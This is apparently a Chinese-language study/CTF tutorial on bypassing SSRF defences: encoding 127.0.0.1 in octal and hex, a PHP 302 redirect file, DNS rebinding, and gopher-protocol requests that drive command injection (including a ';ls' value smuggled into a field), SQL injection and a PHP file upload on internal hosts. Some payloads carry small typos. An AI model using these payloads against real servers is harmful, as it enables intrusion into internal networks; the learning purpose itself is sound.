学习完原理和伪协议后再了解进行一些绕过操作。主要有回环地址绕过、302重定向绕过、DNS重绑定绕过、命令执行利用、SQL注入注意编码、文件上传利用。
一、回环地址绕过
回环地址指127.0.0.1如果127.0.0.1被过滤可以将它转换成其他进制输入。
IP地址 | ||
127.0.0.1 | 点分十进制 | |
0b | 01111111000000000000000000000001 | 32位bit二进制,没有点 |
0 | 17700000001 | 八进制 |
0x | 7F000001 | 十六进制 |
http://127.0.0.1/flag.php
http://017700000001/flag.php 或 http://0177.0000.0000.0001/flag.php
http://0x7F000001/flag.php 或 http://0x7F.0x00.0x00.0x01/flag.php
二、302重定向绕过
若传入的私网地址被限制可以使用302重定向绕过。这需要一台公网服务器和它的公网IP,在服务器中创建重定向的代码文件,提交公网IP路径下的重定向代码文件,使SSRF漏洞服务器或主机访问从而重定向到自己内网地址或本机地址。
简单的重定向代码,将其保存在公网服务器中命名为1.php
<?php
heander('Location:http://127.0.0.1/flag.php');
提交公网地址访问重定向文件,端口可以在公网服务器设置开放哪个端口,主要是为了方便访问文件。
http://<公网IP>:<某端口>/1.php
这样公网IP不会被过滤限制,还能使ssrf漏洞服务器重定向到本地内网访问文件。
三、DNS重绑定绕过
针对SSRF漏洞的防御
1、解析目标URL,获取其Host
2、解析Host,获取Host指向的IP地址
3、检查IP地址是否为内网地址
4、请求URL
5、如果有跳转,拿出跳转URL,执行1、
SSRF防御模式
1、获取到输入的URL,从URL中提取Host
2、对该Host进行DNS解析,获取到解析的IP地址;第一次DNS解析
3、检测该IP是否合法,比如是否为私网IP等
4、如果IP检测为合法进入curl的阶段发包;第二次DNS解析
第一次DNS解析是对URL的host进行DNS解析,第二次DNS解析是使用curl发包的时候解析,利用两次DNS解析的时间差进行绕过。
DNS重绑定攻击原理
利用服务器两次解析同一域名的短暂间隙更换域名背后的IP达到绕过。DNS解析服务器不可避免有缓存。TTL机制:域名和IP绑定关系的Cache存活的最长时间。
四、命令执行利用
在SSRF漏洞服务器发现内网主机有命令执行漏洞可以利用。如有漏洞的页面shell.php,可以进行cmd等命令。http://172.250.250.4/shell.php
使用gopher协议GET提交
gopher://172.250.250.4:80/_
GET /shell.php?cmd=ls HTTP/1.1
Host:172.250.250.4
——————————
#端口80不能少
#加入GET提交内容
#注意结尾要有换行符
#bp提交要进行两次URL编码
使用gopher协议POST提交
POST / HTTP/1.1
Host:172.250.250.5
Content-Type:application/x-www-form-urlencode
Content-Length:15
ip=12.0.0.1;ls
——————————
#加入POST提交内容
#Host根据实际更改
#长度根据提交的字符数量更改
#头部信息和提交内容中间空一行
#bp提交要进行两次URL编码
五、SQL注入注意编码
攻防世界very_easy_sql这道题就是SSRF漏洞内网SQL报错注入。
gopher://127.0.0.1:80/_
bp拦截数据,发送到repeater模块,加入payload进行两次URL编码。
POST /index.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 24uname=admin&passwd=admin
SSRF对内网SQL注入时,在SSRF漏洞页面空格要编码成%20,直接敲一个空格是不行的。在浏览器栏中提交本地浏览器发送数据时把参数自动URL编码,也就是此时空格%20又一次被URL编码变成%2520,被两次url编码了。SSRF漏洞服务器被两次url编码的请求,自己先进行一次url解码,根据解码内容(假如http://<内网IP>......)去访问内网主机并把请求的参数带给内网主机,此时内网主机浏览器再做一次url解码执行操作。共解码2次
总结:SSRF对内网SQL注入时(1)在浏览器栏中提交特殊字符要做一次url编码(2)Hackbar和Burpsuite提交GET或POST数据要对构造的原始payload做两次url编码。
六、文件上传利用
首先要了解媒体类型multipart/form-data,它遵循multipart MIME数据流定义大概含义就是:媒体类型multipart/form-data的数据体由多个部分组成,这些部分由一个固定边界值(Boundary)分割。需要指定Content-Type为multipart/form-data,并指定唯一边界值。
Content-Type:multipart/form-data;boundary={000}
{000}为自定义的分界线
构造数据 gopher提交数据:
gopher://127.0.0.1:80/_
POST /Pass-01/index.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type:multipart/form-data;boundary={000}
Content-Length: 269--{000}
Content-Disposition:form-data;name="upload_file";filename="phpinfo.php"
Content-Type:image/jpeg
<?php phpinfo();?>
--{000}
Content-Disposition:form-data;name="key"
Content-Type:text/plain;charset=UTF-8
text encoded in UTF-8
--{000}--
每个自定义分界线前面要有两个-,结尾也有两个-
将构造的POST数据在bp中2次url编码提交
简单学习下,希望用得到!!